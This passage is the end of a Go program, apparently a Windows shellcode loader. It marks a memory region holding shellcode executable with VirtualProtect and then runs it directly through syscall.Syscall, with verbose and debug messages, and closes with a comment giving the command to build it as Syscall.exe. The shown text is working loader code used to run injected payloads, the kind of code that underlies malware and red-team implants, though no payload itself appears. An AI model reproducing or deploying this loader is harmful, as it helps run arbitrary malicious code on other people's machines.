fmt.Println("[-]Shellcode copied to memory")
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
}
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
}
if *debug {
fmt.Println("[DEBUG]Executing Shellcode")
}
_, _, errSyscall := syscall.Syscall(addr, 0, 0, 0, 0)
if errSyscall != 0 {
log.Fatal(fmt.Sprintf("[!]Error executing shellcode syscall:\r\n%s", errSyscall.Error()))
}
if *verbose {
fmt.Println("[+]Shellcode Executed")
}
}
// export GOOS=windows GOARCH=amd64;go build -o Syscall.exe ./Syscall.go